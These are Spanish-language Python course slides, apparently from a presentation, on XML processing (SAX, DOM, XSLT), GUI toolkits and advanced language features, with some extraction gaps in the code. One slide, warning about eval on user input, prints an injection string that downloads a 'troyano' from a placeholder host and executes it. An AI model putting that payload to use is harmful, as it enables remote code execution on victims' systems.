 Crea y devuelve un objeto SAX XMLReader
 parse(filename_or_stream, handler[,
error_handler])
 Crea un parser SAX y lo usa para procesar el
documento a través de un handler
 El módulo xml.sax.xmlreader define readers
para SAX
 El módulo xml.sax.handler define
manejadores de eventos para SAX:
startDocument, endDocument, starElement,
endElement

Ejemplo procesamiento SAX I
# xml/ElementCounterSAX.py
# Ejecutar: python ElementCounterSAX.py Cartelera.xml
import sys
from xml.sax import make_parser, handler
class ElementCounter(handler.ContentHandler):
def __init__(self):
self._elems = 0
self._attrs = 0
self._elem_types = {}
self._attr_types = {}
def startElement(self, name, attrs):
self._elems = self._elems + 1
self._attrs = self._attrs + len(attrs)
self._elem_types[name] = self._elem_types.get(name, 0) + 1
for name in attrs.keys():
self._attr_types[name] = self._attr_types.get(name, 0) + 1

Ejemplo procesamiento SAX II
def endDocument(self):
print "There were", self._elems, "elements."
print "There were", self._attrs, "attributes."
print "---ELEMENT TYPES"
for pair in self._elem_types.items():
print "%20s %d" % pair
print "---ATTRIBUTE TYPES"
for pair in self._attr_types.items():
print "%20s %d" % pair
parser = make_parser()
parser.setContentHandler(ElementCounter())
parser.parse(sys.argv[1])

W3C Document Object Model
(DOM)
 Documentos XML son tratados como un
árbol de nodos
 Cada elemento es un “nodo”
 Los elementos hijos y el texto contenido
dentro de un elemento son subnodos
 W3C DOM Site:
http://www.w3.org/DOM/

Características DOM
 Documento se carga totalmente en
memoria en una estructura de árbol
 Ventaja: fácil acceder a datos en
función de la jerarquía de elementos,
así como modificar el contenido de los
documentos e incluso crearlos desde
cero.
 Desventaja: coste en tiempo y
memoria que conlleva construir el árbol

W3C XML DOM Objects
 Element – un elemento XML
 Attribute – un attributo
 Text – texto contenido en un elemento o atributo
 CDATAsection – sección CDATA
 EntityReference – Referencia a una entidad
 Entity – Indicación de una entidad XML
 ProcessingInstruction – Una instrucción de
procesamiento
 Comment – Contenido de un comentario de XML
 Document – El objeto documento
 DocumentType – Referencia al elemento DOCTYPE
 DocumentFragment – Referencia a fragmento de
documento
 Notation – Contenedor de una anotación

Objetos relacionados con Nodos
 Node – un nodo en el árbol de un
documento
 NodeList – una lista de objetos nodos
 NamedNodeMap – permite interacción y
acceso por nombre a una colección de
atributos

Documento XML como Árbol de
Nodos
<?xml version="1.0" encoding="iso-8859-1"?>
<Peliculas>
<Pelicula codigo='1' titulo='Lo que el viento se
llevó'
director='Victor Fleming'
actores='Clark Gable, Vivien Leigh,
Leslie Howard'/>
<Pelicula codigo='2' titulo='Los Otros'
director='Alejandro Amenabar'
actores='Nicole Kidman'/>
<Pelicula codigo="5" titulo="Malena"
director="Giuseppe Tornatore"
actores="Monica Bellucci, Giuseppe
Sulfaro"/>
</Peliculas>

Documento XML como Árbol
de Nodos
Root
Películas
... Película
titulo=’Lo que el
codigo=1 viento se llevó’
actores=’Clark Gable, Vivien
Leigh, Leslie Howard’
diirector=’Victor Fleming’
Película
codigo=5 titulo=’Malena’
actores=’Monica Bellucci,
Giuseppe Sulfaro’
diirector=’Giuseppe
Tornatore’

Procesando XML con DOM
 Python provee el módulo xml.dom.minidom que
es una implementación sencilla de DOM
 El método parse a partir de un fichero crea un
objeto DOM, el cual tiene todos los métodos y
atributos estándar de DOM: hasChildNodes(),
childNodes, getElementsByTagName()
 Para más información sobre procesamiento
XML en Python ir a: http://
pyxml.sourceforge.net/topics/
 El módulo PyXML, que no viene en la distribución por
defecto de Python, permite procesamiento un poco
más sofisticado
 http://pyxml.sourceforge.net/topics/

Ejemplo DOM I
# xml/ejemploDOM.py
# Ejecutar: python ejemploDOM.py Cartelera.xml
import xml.dom.minidom, sys
class Pelicula:
def __init__(self, codigo, titulo, director, actores):
self.codigo = codigo
self.titulo = titulo
self.director = director
self.actores = actores
def __repr__(self):
return "Codigo: " + str(self.codigo) + " - titulo: " +
self.titulo + " - director: " + self.director + " - actores: " +
self.actores
class PeliculaDOMParser:
def __init__(self, filename):
self.dom = xml.dom.minidom.parse(filename)
self.peliculas = []

Ejemplo DOM II
def getPeliculas(self):
if not self.peliculas:
peliculaNodes = self.dom.getElementsByTagName("Pelicula")
numPelis = len(peliculaNodes)
for i in range(numPelis):
pelicula = peliculaNodes.item(i)
# Recuperar los attributes de cada nodo Pelicula
peliAttribs = pelicula.attributes
codigo = peliAttribs.getNamedItem("codigo").nodeValue
titulo = peliAttribs.getNamedItem("titulo").nodeValue
director = peliAttribs.getNamedItem("director").nodeValue
actores = peliAttribs.getNamedItem("actores").nodeValue
self.peliculas.append(Pelicula(codigo,titulo,director,actores))
return self.peliculas
if __name__ == '__main__':
domParser = PeliculaDOMParser(sys.argv[1])
for peli in domParser.getPeliculas():
print peli

Extensible Style Language
Transformations (XSLT) I
 Con la diversidad de lenguajes de
presentación que hay (WML, HTML,
cHTML) existen dos alternativas para
desarrollar las aplicaciones:
 Desarrollar versiones de los procesos de
generación de presentación (JSP, ASP,
CGI,..) para cada lenguaje.
 Desarrollar solo una versión que genere
XML y conversores de XML a los lenguajes
de presentación.

Extensible Style Language
Transformations (XSLT) II
 Dos partes:
 Transformation Language (XSLT)
 Formatting Language (XSL Formatting
Objects)
 XSLT transforma un documento XML
en otro documento XML
 XSLFO formatea y estiliza documentos
en varios modos
 XSLT W3C Recommendation -
http://www.w3.org/TR/xslt

Operaciones entre árboles en
XSL

Ventajas y desventajas de XSLT
 Ventajas:
 No asume un único formato de salida de
documentos
 Permite manipular de muy diversas maneras un
documento XML: reordenar elementos, filtrar,
añadir, borrar, etc.
 Permite acceder a todo el documento XML
 XSLT es un lenguaje XML
 Desventajas:
 Su utilización es más compleja que un lenguaje de
programación convencional
 Consume cierta memoria y capacidad de proceso 
DOM detrás

Usando hojas de estilo XSLT
 Para crear una transformación XSL
necesitamos:
 El documento XML a transformar
(students.xml)
 La hoja de estilo que especifica la
transformación (students.xsl)

Documento XML (students.xml)
<course>
<name id="csci_2962">Programming XML in Java</name>
<teacher id=“di">Diego Ipiña</teacher>
<student id=“ua">
<name>Usue Artaza</name>
<hw1>30</hw1>
<hw2>70</hw2>
<project>80</project>
<final>85</final>
</student>
<student id=“iu">
<name>Iñigo Urrutia</name>
<hw1>80</hw1>
<hw2>90</hw2>
<project>100</project>
<final>40</final>
</student>
</course>

Hoja de estilo XSLT
(students.xsl)
<xsl:stylesheet version="1.0“
xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="course">
<HTML>
<HEAD><TITLE>Name of students</TITLE></HEAD>
<BODY>
<xsl:apply-templates select="student"/>
</BODY>
</HTML>
</xsl:template>
<xsl:template match="student">
<P><xsl:value-of select="name"/></P>
</xsl:template>
</xsl:stylesheet>

Resultado de transformación
 (students.html)
<HTML>
<HEAD> <TITLE>Name of students</TITLE>
</HEAD>
<BODY>
<P>Usue Artaza</P>
<P>Iñigo Urrutia</P>
</BODY>
</HTML>

XSLT en Python
 Herramientas para procesamiento XSLT tools
en Python:
 http://uche.ogbuji.net/tech/akara/nodes/2003-01-01/
python-xslt
 En la siguiente url podemos encontrar
adaptaciones Python de las librerías de la
toolkit Gnome en C Libxml y Libxslt:
 http://xmlsoft.org/python.html (Linux)
 http://users.skynet.be/sbi/libxml-python/ (Windows)
 El ejemplo en la siguiente página ilustra el uso de
esta librería

Ejemplo XSLT
# Instalar fichero libxml2-python-2.6.16.win32-py2.4.exe
# Ejecutar: python xsltexample.py Cartelera.xml Cartelera.xsl
transform.html
import libxml2
import libxslt
import sys
print 'Usage: python xsltexample <xml-file> <xslt-file>
<output-file>'
sys.exit(0)
else:
styledoc = libxml2.parseFile(sys.argv[2])
style = libxslt.parseStylesheetDoc(styledoc)
doc = libxml2.parseFile(sys.argv[1])
result = style.applyStylesheet(doc, None)
style.saveResultToFilename(sys.argv[3], result, 0)
style.freeStylesheet()
doc.freeDoc()
result.freeDoc()

Ejemplo XML (Cartelera.xml)
<Cartelera>
<Cine codigo='1' nombre='Coliseo Java' direccion='Avda. Abaro'
poblacion='Portugalete'>
<Pelicula codigo='1' titulo='Lo que el viento se llevo'
director='Santiago Segura'
actores='Bo Derek, Al Pacino, Robert Reford'>
<Sesion>16:00</Sesion>
</Pelicula>
<Pelicula codigo='2' titulo='Los Otros'
director='Alejandro Amenabar'
actores='Nicole Kidman'>
</Pelicula>
</Cine>
...
</Cartelera>

Ejemplo XSL (Cartelera.xsl)
<xsl:stylesheet xmlns:xsl=http://www.w3.org/1999/XSL/Transform
version="1.0">
<xsl:output method="html"/>
<xsl:template match="/">
<html>
<head>
<style type="text/css">
table {font-family: arial, 'sans serif';
margin-left: 15pt;}
th,td {font-size: 80%;}
th {background-color:#FAEBD7}
</style>
</head>
<body>
<table border="1">
<xsl:apply-templates/>
</table>
</body>
</html>
</xsl:template>

<xsl:template match="Cartelera">
<xsl:for-each select="Cine">
<tr>
<th><xsl:text>Cine</xsl:text></th>
<th><xsl:text>Dirección</xsl:text></th>
<th><xsl:text>Población</xsl:text></th>
<th></th>
</tr>
<tr>
<td><xsl:value-of select="./@nombre"/></td>
<td><xsl:value-of select="./@direccion"/></td>
<td><xsl:value-of select="./@poblacion"/></td>
<td><xsl:text></xsl:text></td>
</tr>

<xsl:for-each select="Pelicula“>
<tr>
<th></th>
<th><xsl:text>Película</xsl:text></th>
<th><xsl:text>Director</xsl:text></th>
<th><xsl:text>Actores</xsl:text></th>
</tr>
<tr>
<td><xsl:value-of select="./@titulo"/></td>
<td><xsl:value-of select="./@director"/></td>
<td><xsl:value-of select="./@actores"/></td>
</tr>

<tr>
<th></th>
<th></th>
<th><xsl:text>Sesión</xsl:text></th>
<th><xsl:text>Hora</xsl:text></th>
</tr>
<xsl:for-each select="Sesion">
<tr>
<td><xsl:value-of select="position()"/></td>
<td><xsl:value-of select="."/></td>
</tr>
</xsl:for-each>
</xsl:for-each>
</xsl:for-each>
</xsl:template>
</xsl:stylesheet>

Resultado XSL parsing

Programación de GUIs I
 Tkinter es la GUI toolkit que por defecto viene con
Python (http://www.python.org/doc/current/lib/module-
Tkinter.html)
 Basada en Tk, que empezó siendo una librería para el
lenguaje Tcl, y múltiples lenguajes ahora tienen bindings
 Es lenta pero su uso es muy sencillo
 Existen otras toolkits para generación de GUIs:
 wxPython (http://www.wxpython.org/)
 Apariencia nativa, basado en wxWidgets
(multiplaforma), muy rápida
 Pythonwin (
http://www.python.org/windows/pythonwin/)
 Solamente para Windows, usa directamente la API de
Windows
 PyGTK (http://www.pygtk.org/)
 PyQt (http://www.riverbankcomputing.co.uk/pyqt/)

GUIs en Python - I
 Tenemos diversas librerías de widgets
disponibles desde Python:
 Tkinter
 WxWidgets
 PyGTK
 PyQT
 Pythonwin
 ...

Tkinter
 Viene por defecto en el instalador de
Python
 Multiplataforma (Lin,Win,Mac)
 En Windows, la apariencia no es mala
 En GNU/Linux no está encima de QT o
GTK, sino diréctamente encima de las X,
por lo que el resultado deja que desear
 Fácil de programar

Ejemplo Tkinter I
# gui/tk/tkinterwatch.py
from Tkinter import *
import time, sys
class StopWatch(Frame):
""" Implements a stop watch frame widget. """
def __init__(self, parent=None, **kw):
Frame.__init__(self, parent, kw)
self._start = 0.0
self._elapsedtime = 0.0
self._running = 0
self.timestr = StringVar()
self.makeWidgets()
def makeWidgets(self):
""" Make the time label. """
l = Label(self, textvariable=self.timestr)
self._setTime(self._elapsedtime)
l.pack(fill=X, expand=NO, pady=2, padx=2)
def _update(self):
""" Update the label with elapsed time. """
self._elapsedtime = time.time() - self._start
self._timer = self.after(50, self._update)
def _setTime(self, elap):
""" Set the time string to Minutes:Seconds:Hundreths """
minutes = int(elap/60)
seconds = int(elap - minutes*60.0)
hseconds = int((elap - minutes*60.0 - seconds)*100)
self.timestr.set('%02d:%02d:%02d' % (minutes, seconds, hseconds))

Ejemplo Tkinter II
def Start(self):
""" Start the stopwatch, ignore if running. """
if not self._running:
self._start = time.time() - self._elapsedtime
self._update()
self._running = 1
def Stop(self):
""" Stop the stopwatch, ignore if stopped. """
if self._running:
self.after_cancel(self._timer)
self._elapsedtime = time.time() - self._start
self._running = 0
def Reset(self):
""" Reset the stopwatch. """
self._start = time.time()
self._elapsedtime = 0.0
if __name__ == '__main__': root = Tk()
sw = StopWatch(root)
sw.pack(side=TOP)
Button(root, text='Start', command=sw.Start).pack(side=LEFT)
Button(root, text='Stop', command=sw.Stop).pack(side=LEFT)
Button(root, text='Reset', command=sw.Reset).pack(side=LEFT)
Button(root, text='Quit', command=sys.exit(0)).pack(side=LEFT)
root.mainloop()

wxPython I
 Basado en wxWidgets toolkit
 Maximiza la portabilidad
 Windows, UNIX, Mac OS, PocketPC...
 Look and feel nativo de cada plataforma
 Podemos crear los widgets gráficamente con
wxGlade
 A veces se critica que el que tenga look and
live nativo en cada plataforma implica que sea
un subconjunto de todas ellas

wxPython II
 En wxPython todas las clases están
definidas dentro del módulo wx
 Para crear una aplicación en wxPython
hay que crear una clase que deriva de
wx.App y sobreescribe el método
OnInit
 Toda aplicación está formada al menos
de un Frame o un Dialog
 Los marcos pueden contener otros
paneles, barras de menús y
herramientas (MenuBar y ToolBar ) y
línea de estado (StatusBar)

wxPython III
 Los marcos y diálogos contienen
controles: Button, CheckBox, Choice,
ListBox, RadioBox y Slider, ...
 Existen diálogos predefinidos:
MessageDialog o FileDialog
 A través del programa
wxPythondemodemo.py se pueden ver
demos
 Vienen acompañadas de código fuente

Ejemplo wxPython I
# gui/wxPythonSemanaESIDE.py
__author__ = "Diego Ipiña <dipina@eside.deusto.es>"
import wx
class Frame(wx.Frame):
"""Clase frame que visualiza una imagen."""
def __init__(self, image, parent=None, id=-1,
pos=wx.DefaultPosition, title='¡Hola, semaneros
ESIDE!'):
"""Crea un Frame y visualiza imagen."""
temp = image.ConvertToBitmap()
size = temp.GetWidth(), temp.GetHeight()
wx.Frame.__init__(self, parent, id, title, pos, size)
self.bmp = wx.StaticBitmap(parent=self, id=-1, bitmap=temp)

Ejemplo wxPython II
class App(wx.App):
"""Clase aplicación.""“
def __init__(self):
wx.App.__init__(self)
def OnInit(self):
wx.InitAllImageHandlers()
image = wx.Image('semanaeside.jpg', wx.BITMAP_TYPE_JPEG)
self.frame = Frame(image)
self.frame.Show()
self.SetTopWindow(self.frame)
return True
def main():
app = App()
app.MainLoop()
if __name__ == '__main__':
main()

wxGlade
 No siempre es necesario (o
conveniente) crear de manera
programática las interfaces en
wxPython.
 Hay herramientas que nos ayudarán a
generar el código wxPython
correspondiente:
 wxGlade (http://wxglade.sourceforge.net/)

PyGTK
 Basada en las populares GTK+
 Multiplataforma:
 Nativamente en GNU/Linux, se integra
bien en Windows, funciona en Mac OS
 Librería muy completa
 Herramienta Glade para diseñar los
interfaces de manera gráfica

Programando con PyGTK - I
 Demo:
 pygtk-demo.py
 En Ubuntu Dapper, paquete python2.4-gtk
 $ python /usr/share/doc/python2.4-gtk2/examples/pygtk-demo.
py
 Nos muestra una demo de los controles
básicos, cómo usarlos, y el código
correspondiente

Programando en PyGTK - II
 El bucle de eventos
 En GTK+ tendremos que:
 Llamar a gtk_init
 Después inicializamos todos los widgets
 Llamar a gtk_main
 El programa se queda bloqueado en este
punto
 Llamar a gtk_main_quit
 Le llamaremos desde un evento, al terminar el
evento saldremos de la función gtk_main

Programando en PyGTK - III
Pseudocódigo:
mi_callback:
gtk_main_quit()
gtk_init()
crearVentanaPrincipal()
añadirWidgetsALaVentana()
añadirCallbackAlCerrarVentana(mi_callback)
gtk_main()

Programando en PyGTK - IV
 En PyGTK, no hace falta llamar a
gtk_init, está implícito al importar gtk
 El módulo gtk tiene los métodos:
 gtk.main()
 gtk.main_loop()

Programando en PyGTK - V
#gui/gtk/gtk1.py
import gtk
def metodo(*args):
print "Entro en gtk.main_quit"
gtk.main_quit()
print "Salgo de gtk.main_quit"
win = gtk.Window()
win.connect("delete_event",metodo)
win.show()
print "Entro en gtk.main"
gtk.main()
print "Salgo de gtk.main"

Programando en PyGTK - VI
 Creando ventanas: gtk.Window
 w = gtk.Window()
 w.fullscreen() #fullscreen
 w.maximize() #maximiza
 w.iconify() #minimiza
 w.deiconify() #restaura
 w.set_title(“titulo”) #título

Programando en PyGTK - VII
 Podemos añadir un widget a la ventana
 Label, Button, Entry...
#gtk2.py
import gtk
def metodo(*args):
gtk.main_quit()
win = gtk.Window()
win.set_title("Otra ventana")
l = gtk.Label("Hola mundo")
win.add(l)
win.show_all()
win.connect("delete_event",metodo)
gtk.main()

Programando en PyGTK - VIII
 Sólo podemos añadir un widget a la
ventana
 Para añadir varios widgets necesitamos
boxes, que agrupan varios widgets:
 VBox verticalmente
 HBox horizontalmente
 Table para una tabla de widgets
 Ver gtk3.py

Programando en PyGTK - IX
 Eventos:
 Para conectar una función a un evento,
utilizaremos:
el_widget.connect('nombre_evento',funcion)
 Eventos comunes:
 Window: delete_event: Al cerrar ventana
 Entry: activate: Al pulsar intro en un entry
 Button: clicked: Al pulsar el botón
 Ver gtk4.py

Programando en PyGTK - X
 Imágenes: gtk.Image
import gtk
def salir(*args):
gtk.main_quit()
w = gtk.Window()
w.connect('delete_event',salir)
img = gtk.Image()
img.set_from_file("ghost.jpg")
w.add(img)
w.show_all()
gtk.main()

Programando en PyGTK - XI
 Utilizando GDK
 GDK es el Graphical Development Kit, que nos permitirá
llevar a cabo muchas más cosas
 Sólo hay que echar un vistazo a la documentación al espacio de
nombres GDK para ver la cantidad de posibilidades que nos da
 Creando un área para dibujar:
 gtk.drawing_area tiene varios eventos heredados
de gtk.Widget, como:
 configure_event: es llamado cuando se
modifica el tamaño del Widget
 expose_event: es llamado cuando se tiene que
redibujar al menos una parte del widget
 Ver imagenes/imagenes4.py

Programando en PyGTK - XII
 Un widget muy usado es el TreeView
 Permite mostrar listas de datos
 Permite además mostrar árboles
 El TreeView sólo se encarga de lo que
es el widget que se ve, no del contenido
del mismo
 Para el contenido, debe utilizar un
gtk.TreeModel, como ListStore (para
listas) o TreeStore (para árboles)
 Ver treeviews/lista.py y treeviews/arbol.py

Glade - I
 Programar lo anterior está bien:
 En momentos en los que necesitemos
generar dinámicamente widgets
 Aprender y entender cómo funciona
PyGTK
 Sin embargo, puede:
 Cansar
 Resultar dificil
 Añadir código innecesario al programa

Glade - II
 Para evitarlo está Glade
 Herramienta interactiva para diseño de GUIs con GTK+ y Gnome
 Guarda en un .glade (XML) el diseño del interfaz gráfico del
programa
 Nuestra aplicación dinámicamente cargará el .glade y generará los
widgets
 Si queremos acceder a un widget concreto:
mi_glade.get_widget(“nombre_widget”)
 Además, permite manejar señales, de manera que podemos asignar
a qué funciones se llamará para capturar qué señal:
mi_glade.signal_autoconnect({
'hago_click':funcion_hago_click,
'salir':funcion_salir
})
 Ver glade/glade1.py

Más sobre el lenguaje
 Casi todo lo visto hasta ahora han sido
APIs y más APIs que a veces poco tienen
que ver con Python y hay que buscar
documentación en MySQL, W3C, etc.
 En lo que queda nos centraremos en
otras características que no hemos visto
del lenguaje
 En esta parte hay explicaciones que
están sólo en los ejemplos (no cabe en las
transpas), y viceversa: ten a mano los
ejemplos ;-)

Documentación en Python - I
 Para comentar código, basta con poner
#:
def funcion():
#variable es un ejemplo de variable
variable=5
#aquí lo que hacemos es sumar 10 a la variable
variable += 10
 Estos comentarios sólo los ve el que lea
el código
 No se guarda en los .pyc (al hacer import
nombre_modulo, se genera el .pyc)
 No son accesibles desde fuera de la
función

Documentación en Python - II
 Para documentar funciones, hay que
poner un string justo debajo del
paquete, módulo, clase o función
def mirandom():
“””funcion() -> float
Devuelve un número aleatorio entre 0 y 1
“””
import random
return random.random()

Documentación en Python - III
 Para ver esta documentación:
 help(loquesea)
 pydoc módulo
 Permite ser accedido desde shell:
 pydoc módulo
 Montando un minimalista servidor web:
 pydoc -p puerto
 Mostrándose en una ventana:
 pydoc -g
 Ver /doc/

Filtros
 Podemos hacer filtros sencillos de
secuencias en una sola línea:
 [expr(ELEM) for ELEM in LISTA (if
condicion) ]
 Ejemplo (+ avanz/filtros.py):
>>> palabra = “hola”
>>> print ''.join([2*i for i in palabra])
hhoollaa
>>> [2*i for i in range(10) if i % 2 == 0]
[0,4,8,12,16]

Funciones especiales - I
 Punteros a función
 Si recordamos, en Threads ya los
utilizamos
>>> def f():
... print “hola mundo”
>>> puntero = f
>>> puntero()
hola mundo
>>> def f2(funcion):
... funcion()
>>> f2(puntero)
hola mundo

Funciones especiales - II
 Punteros a métodos
class A:
def __init__(self,nombre):
def f(self):
print "hola, soy",self.nombre
puntero = A.f #puntero es un puntero al método, no es llamable sin más
a = A("mi nombre") #para utilizarlo, le tenemos que pasar una instancia
puntero(a) #Le llama pasándole como self, a
print puntero #De hecho, puntero es un unbound method de A
#Si quisieramos un método de A bounded a una instancia, tendríamos que hacer esto:
otro_puntero = a.f #f de la instancia, no de la clase
print otro_puntero #Este sí es un bound method
otro_puntero() #Y este sí es llamable

Lambda
 Como ya hemos visto en la sección de
GUIs, existen las funciones lambda
 Son funciones anónimas
 Útiles, por ejemplo, para eventos
 lambda parámetros : resultado
 Parámetros como siempre (*args, **kargs)
 No permiten más que una expresión
>>> def decir_un_numero(numero):
... print “Voy a hacer algo en función del número”,numero
>>> import threading
>>> t = threading.Timer(2.5,lambda : decir_un_numero(5))
>>> t.start()
>>> Voy a hacer algo en función del número 5

Yield
 Generador automático de iteradores
>>> def f(lista):
... for i in lista:
... print “Voy a devolver”,i
... yield i
...
>>> for i in f(['a','b','c']):
... print “Me ha devuelto”,i
...
Voy a devolver a
Me ha devuelto a
Voy a devolver b
Me ha devuelto b
Voy a devolver c
Me ha devuelto c
 Ver avanz/funciones/yield.py

Sobrecarga de operaciones - I
 Las clases en Python tienen una serie de
métodos especiales que les sirve para
diferentes tareas: (avanz/clases/operadores.py)
 __init__ : constructor de clase
 __str__ : similar al toString de Java o
ToString de Mono/.NET
 __doc__ : la documentación que guardamos
poniendo un string debajo de la
función/módulo/etc.
 __gt__, __eq__, __lt__: se invocan cuando
alguien llama a instancia < otra (o =, o >...)
 __add__, ...: otros operadores (+, -...)

Ocultamiento de información
 Por defecto, un atributo es accesible:
>>> class A:
... def __init__(self):
... self.dato = 5
...
>>> a = A()
>>> print a.dato
5
 Como regla de estilo, se pone _ por delante de
la variable
 Es igual que poner el atributo sin más, pero
como regla de estilo, si pones “_” por delante
al acceder a una instancia, es que “no
deberías”

 Otra posibilidad es poner dos guiones
delante
 Python internamente pondrá _NombreClase
delante del nombre del atributo
 Sigue siendo accesible
 Si accedes a instancia._NombreClase__dato,
“seguro que sabes lo que estás haciendo”
 Afecta a las clases hijas (tampoco pueden
acceder diréctamente)
 (Name mangling)
 avanz/clases/ocultamiento1.py

 ¡Entonces siempre puedes acceder a
datos privados!
 Realmente, en los lenguajes Orientados a
Objetos típicos también puedes:
 Gracias a ello es posible la serialización de
datos privados ya sea para BD o XML, por
ejemplo
 Ejemplos en
/avanz/clases/accediendo_privado_en_otr
os_lenguajes

 Además de lo visto, Python tiene otros
sistemas que pueden servir:
 __getattr__: En caso de que se intente
acceder a un campo / función de una instancia
y el campo / función no exista, se llama a esta
función:
 Ejemplo en /avanz/clases/ocultamiento2.py

 object:
 Nuestra clase hereda de object
 __getattribute__(self,nombre): se le llama
cuando alguien intenta acceder a cualquier
cosa, incluso si existe
 __setattr(self,nombre,valor): se le llama
cuando alguien intenta modificar cualquier
cosa, incluso si existe
 Ver avanz/clases/ocultamiento3.py

Herencia múltiple
 Python permite a una clase heredar de
más de una clase a la vez
 Un problema clásico de este tipo de
herencia es el problema del diamante:
clase A{
metodo(){}
}
clase B{
metodo(){}
}
clase C hija de clases A y B{}
c = instancia de C()
c.metodo() #¿A quién llama?

Herencia múltiple
 En C# y Java se evita
 no permitiendo que una clase herede de más
de una clase
 soportando su funcionalidad mediante
interfaces
 C++, sí permitía herencia de más de
una clase
 Se resolvía en tiempo de compilación
exigiendo la ruta de la clase
 avanz/clases/herencia_multiple.cpp

Herencia múltiple
 Python no puede resolverlo en tiempo de
compilación
 La solución pasa por llevar una búsqueda en
profundidad sobre las clases de las que
hereda

Herencia múltiple
 En el caso visto, si se llama al método
“metodo” de la clase E, se buscará
primero en C, que buscará en B, que
buscará en A. Si no se encuentra, se
buscará en D
 Por tanto, no siempre es igual:
class E(C,D)
que:
class E(D,C)
 avanz/clases/herencia_multiple.py

Recolección de basura
 La recolección de basura es dependiente
de la implementación de Python
 Jython, IronPython utilizarán los GC de Java,
Mono/.NET, etc.
 Nos centraremos en el recolector de basura
de CPython
 La base para la liberación de memoria
en Python es el contador de referencias
 Por cada instancia, hay un contador de
cuántas referencias hay a la instancia
 Si el número de referencias llega a 0, la
instancia es eliminada

 Cuando una instancia es eliminada, se
llama a su método __del__
 Podemos eliminar una variable con del
 IMPORTANTE: avanz/gc/referencias1.py
>>> class A:
... def __del__(self):
... print “Me muero!”
...
>>> a = A() #a apunta a una instancia de A
>>> a = 5 #Ahora a apunta a otro lado: la instancia no es referenciada y se elimina
Me muero!
>>> a = A() #a apunta a otra instancia de A
>>> del a #Eliminamos a. Ya no existe la referencia: la instancia se muere
Me muero!

 Cuidado
 del no equivale al delete de C++:
 Sólo elimina una variable, si otra variable está
referenciando a la misma instancia, la
instancia no será destruida
 Problemas: Referencias cíclicas
 Si una instancia apunta a otra, y es apuntada
por la misma, los contadores de ambas
instancias nunca llegarán a 0
 avanz/gc/referencias2.py

 Cuidado
 __del__
 Al igual que el finalize Java, nadie puede
asegurar cuándo __del__ será invocado, ni
siquiera si será o no invocado
 No debe ser utilizado para la liberación de
recursos
 ¿Cómo evitar problemas con referencias
cíclicas?
 Normalmente, no son un problema
 En los casos en los que sí lo sean, se pueden
utilizar weakrefs: avanz/gc/referencias3.py

Reflection en Python
 Podemos explotar las capacidades
dinámicas mediante sus capacidades de
reflection
 Podremos, dada una clase, desconocida
cuando programamos, ver qué métodos tiene,
dada una instancia, invocarlos
dinámicamente, etc. etc.
 Podremos incluso realizar modificaciones:
 Añadir / eliminar funciones dinámicamente
 Cambiar tipos de datos
 Generar clases dinámicamente
 ...

 Python tiene grandes capacidades de
introspección
 dir(modulo / clase /...)
 Lista los atributos, funciones, etc. que haya en
el módulo / clase / etc.
 getattr(algo,nombre)
 Obtiene algo.(valor de nombre), siendo
nombre un string
 hasattr(algo,nombre)
 Devuelve si “algo” tiene un “nombre”
 avanz/reflection/reflection1.py

 Podemos además modificar los valores
 setattr(algo,nombre,valor)
 asignamos “valor” a la variable “nombre” de
“algo”
 Si “nombre” no existe, lo crea
 delattr(algo,nombre)
 borramos la variable “nombre” de “algo”

 __dict__
 Toda clase, módulo, instancia... tienen
este objeto, y por defecto es modificable
 En él, se guardan las variables internas,
asociadas a un nombre
 En el __dict__ de una instancia, se
guardan las variables de la instancia,
mientras que en el __dict__ de la clase,
los métodos y variables globales

 Como estamos viendo, podremos ver y
modificar dinámicamente nuestras
estructuras fácilmente
 Como decíamos antes, esto puede ser útil para
obtener información de un módulo que no
conozcamos mientras programamos (para
serializarlo, por ejemplo)
 Podemos crear clases dinámicamente que
tengan diferentes comportamientos según
unos parámetros, y que todas las instancias de
esta clase tengan esos comportamientos,
manteniendo integridad
 Un largo etc.

Avanzando en Python
 El __dict__ es aplicable a módulos...
 Incluso al módulo actual
 De hecho, las variables, funciones, clases
locales no son más que claves del
__dict__ del módulo actual
 locals(), globals()
 avanz/avanzando/avanzando1.py
 Si todo son __dict__s, ¿puedo poner
funciones dentro de funciones, etc?
 Sí: avanz/avanzando/avanzando2.py

Instancias y clases
 Relaciones entre instancia y clase:
 Una instancia es de tipo instance
 Una clase es de tipo classobj
 El tipo instance es de tipo type
 El tipo classobj es de tipo type
 El tipo type es de tipo type
 Una instancia sabe a qué clase pertenece
gracias a su atributo __class__, que es
una referencia a la clase en sí

Instancias y clases

Más propiedades dinámicas
 Ejecución dinámica de strings
 eval
 función por defecto, evalúa una expresión y
devuelve el resultado
 Debe ser una expresión, una declaración de
clase no la ejecuta, por ejemplo
 exec
 propiedad del lenguaje, definida como si fuese
una función
 Ejecuta código de un string, fichero u objeto
de código

Problemas con estas
propiedades
 Todas estas propiedades nos ofrecen
una gran potencia:
 Podemos metaprogramar: podemos
programar la generación de código
dinámicamente para determinadas
circunstancias
 En ocasiones, especialmente aquellas en
las que se programa de manera
relativamente mecánica, nos puede
ayudar mucho
 Sin embargo, también trae problemas

Problemas con estas
propiedades
 Problemas
 Ilegibilidad
 al usar estas propiedades, el código se vuelve
más complejo, más difícil de leer, entender y
mantener
 Seguridad
 debemos validar todavía más la entrada de
información, ya que si un atacante consigue
inyectar código, nos está inyectando código
Python diréctamente

Problemas con estas
propiedades
 Problemas
 Seguridad
 Por ejemplo, en el caso del tres en raya, la
lectura de teclado hacía esto:
s = raw_input("Escribe ...: ")
casillaCoords = eval(s) # interpreta la entrada como una tupla
 Si el usuario escribe algo tal que:
open('/tmp/troyano','w').write(__import__('urllib2').urlopen('http://servidor/troyano
').read()) or 1,__import__('os').chmod('/tmp/troyano',0x755) or
__import__('popen2').popen3('/tmp/troyano')[1:0] or 1
 Es una expresión correcta, que devuelve una
tupla válida (1,1), que es interpretada como
una casilla, pero que, además, ha descargado
y ejecutado un programa

Casos de éxito
 BitTorrent, sistema P2P
 ZOPE (www.zope.org), servidor de aplicaciones para
construir y gestionar contenido, intranets, portales y
aplicaciones propietarias
 Industrial Light & Magic usa Python en el proceso de
producción de gráficos por ordenador
 GNU Mailman, el popular gestor de listas de correo
electrónico está escrito en Python
 Google usa internamente Python, lo mismo que Yahoo
